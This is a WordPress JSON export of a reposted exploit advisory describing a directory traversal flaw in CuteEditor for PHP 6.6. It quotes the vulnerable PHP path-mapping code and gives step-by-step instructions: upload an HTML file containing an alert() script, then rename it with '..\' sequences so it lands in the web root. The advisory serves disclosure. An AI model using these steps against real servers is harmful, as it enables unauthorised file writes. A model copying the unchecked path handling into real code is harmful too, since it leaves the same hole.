{"id":28838,"date":"2022-08-01T20:38:49","date_gmt":"2022-08-01T16:38:49","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/167899\/cuteeditorforphp66-traversal.txt"},"modified":"2022-08-02T08:35:17","modified_gmt":"2022-08-02T04:05:17","slug":"cuteeditor-for-php-6-6-directory-traversal","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/cuteeditor-for-php-6-6-directory-traversal\/","title":{"rendered":"CuteEditor For PHP 6.6 Directory Traversal"},"content":{"rendered":"<p dir=\"ltr\"># Exploit Title: CuteEditor for PHP 6.6 &#8211; Directory Traversal<br \/>\n# Google Dork: N\/A<br \/>\n# Date: November 17th, 2021<br \/>\n# Exploit Author: Stefan Hesselman<br \/>\n# Vendor Homepage: http:\/\/phphtmledit.com\/<br \/>\n# Software Link: http:\/\/phphtmledit.com\/download\/phphtmledit.zip<br \/>\n# Version: 6.6<br \/>\n# Tested on: Windows Server 2019<br \/>\n# CVE : N\/A<\/p>\n<p dir=\"ltr\">There is a path traversal vulnerability in the browse template feature in CuteEditor for PHP via the &#8220;rename file&#8221; option. An attacker with access to CuteEditor functions can write HTML templates to any directory inside the web root.<\/p>\n<p dir=\"ltr\">File: \/phphtmledit\/cuteeditor_files\/Dialogs\/Include_Security.php, Lines: 109-121<\/p>\n<p dir=\"ltr\">Vulnerable code:<br \/>\n[SNIP]\nfunction ServerMapPath($input_path,$absolute_path,$virtual_path)<br \/>\n{<br \/>\nif($absolute_path!=&#8221;&#8221;)<br \/>\n{<br \/>\nreturn $absolute_path.str_ireplace($virtual_path,&#8221;&#8221;,$input_path);<br \/>\n}<br \/>\nelse<br \/>\n{<br \/>\nif(strtoupper(substr(PHP_OS, 0, 3) === &#8216;WIN&#8217;))<br \/>\n{<br \/>\nif(empty($_SERVER[&#8216;DOCUMENT_ROOT&#8217;]) &amp;&amp; !empty($_SERVER[&#8216;SCRIPT_FILENAME&#8217;])) {<br \/>\n$_SERVER[&#8216;DOCUMENT_ROOT&#8217;] = str_replace( &#8216;\\\\&#8217;, &#8216;\/&#8217;, substr($_SERVER[&#8216;SCRIPT_FILENAME&#8217;], 0, 0 &#8211; strlen($_SERVER[&#8216;PHP_SELF&#8217;])));<br \/>\n}<br \/>\nif(empty($_SERVER[&#8216;DOCUMENT_ROOT&#8217;]) &amp;&amp; !empty($_SERVER[&#8216;PATH_TRANSLATED&#8217;])) {<br \/>\n$_SERVER[&#8216;DOCUMENT_ROOT&#8217;] = str_replace( &#8216;\\\\&#8217;, &#8216;\/&#8217;, substr(str_replace(&#8216;\\\\\\\\&#8217;, &#8216;\\\\&#8217;, $_SERVER[&#8216;PATH_TRANSLATED&#8217;]), 0, 0 &#8211; strlen($_SERVER[&#8216;PHP_SELF&#8217;])));<br \/>\n}<br \/>\nreturn $_SERVER[&#8220;DOCUMENT_ROOT&#8221;].$input_path;<br \/>\n}<br \/>\nelse<br \/>\n{<br \/>\nreturn ucfirst($_SERVER[&#8220;DOCUMENT_ROOT&#8221;]).$input_path;<br \/>\n}<br \/>\n}<br \/>\n}<br \/>\n[SNIP]\n<p dir=\"ltr\">ServerMapPath() takes 3 arguments: $input_path, $absolute_path, and $virtual_path and is used, among others, in the browse_template.php file.<\/p>\n<p dir=\"ltr\">File:\/phphtmledit\/cuteeditor_files\/Dialogs\/browse_Template.php, Lines: 47-56<\/p>\n<p dir=\"ltr\">Vulnerable function (renamefile, line 57):<br \/>\n[SNIP]\nswitch ($action)<br \/>\n{<br \/>\n[SNIP]\ncase &#8220;renamefile&#8221;:<br \/>\nrename(ServerMapPath($_GET[&#8220;filename&#8221;],$AbsoluteTemplateGalleryPath,$TemplateGalleryPath),ServerMapPath($_GET[&#8220;newname&#8221;],$AbsoluteTemplateGalleryPath,$TemplateGalleryPath));<br \/>\nprint &#8220;&lt;script language=\\&#8221;javascript\\&#8221;&gt;parent.row_click(&#8216;&#8221;.$_GET[&#8220;newname&#8221;].&#8221;&#8216;);&lt;\/script&gt;&#8221;;<br \/>\nbreak;<br \/>\n[SNIP]\n<p dir=\"ltr\">$input_path is $_GET[&#8220;filename&#8221;] and is under control of the attacker. If an attacker uploads and renames the HTML template to &#8216;..\\..\\..\\poc.html&#8217;, it becomes:<\/p>\n<p dir=\"ltr\">C:\\Inetpub\\wwwroot\\..\\..\\..\\poc.html<\/p>\n<p dir=\"ltr\">Final result: writes poc.html to the webroot.<\/p>\n<p dir=\"ltr\">STEPS:<\/p>\n<p dir=\"ltr\">1. Create a poc.html file (XSS PoC will do).<\/p>\n<p dir=\"ltr\">&lt;HTML&gt;<br \/>\n&lt;title&gt;Path Traversal PoC&lt;\/title&gt;<br \/>\n&lt;BODY&gt;<br \/>\n&lt;h1&gt;PoC&lt;\/h1&gt;<br \/>\n&lt;script&gt;alert(&#8216;directory traversal&#8217;);&lt;\/script&gt;<br \/>\n&lt;\/BODY&gt;<br \/>\n&lt;\/HTML&gt;<\/p>\n<p dir=\"ltr\">2. Upload poc.html via the &#8220;Insert Templates&#8221; page using the &#8220;Upload files&#8221; option.<br \/>\n3. Select poc.html and select &#8220;Rename File&#8221;.<br \/>\n4. Click on the pencil icon to the right of the poc.html file.<br \/>\n5. Rename file to &#8220;..\\..\\..\\poc.html&#8221;.<br \/>\n6. Press OK. poc.html is written three directories up.<\/p>\n<p dir=\"ltr\">This may require more or less dot dot slash (..\\ or ..\/) depending on the size of your directory tree. Adjust slashes as needed.<\/p>\n","protected":false},"excerpt":{"rendered":"<p># Exploit Title: CuteEditor for PHP 6.6 &#8211; Directory Traversal # Google Dork: N\/A # Date: November 17th, 2021 # Exploit Author: Stefan Hesselman # Vendor Homepage: http:\/\/phphtmledit.com\/ # Software Link: http:\/\/phphtmledit.com\/download\/phphtmledit.zip # Version: 6.6 # Tested on: Windows Server 2019 # CVE : N\/A There is a path traversal vulnerability in the browse template &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-28838","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/28838","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=28838"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/28838\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=28838"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=28838"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=28838"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}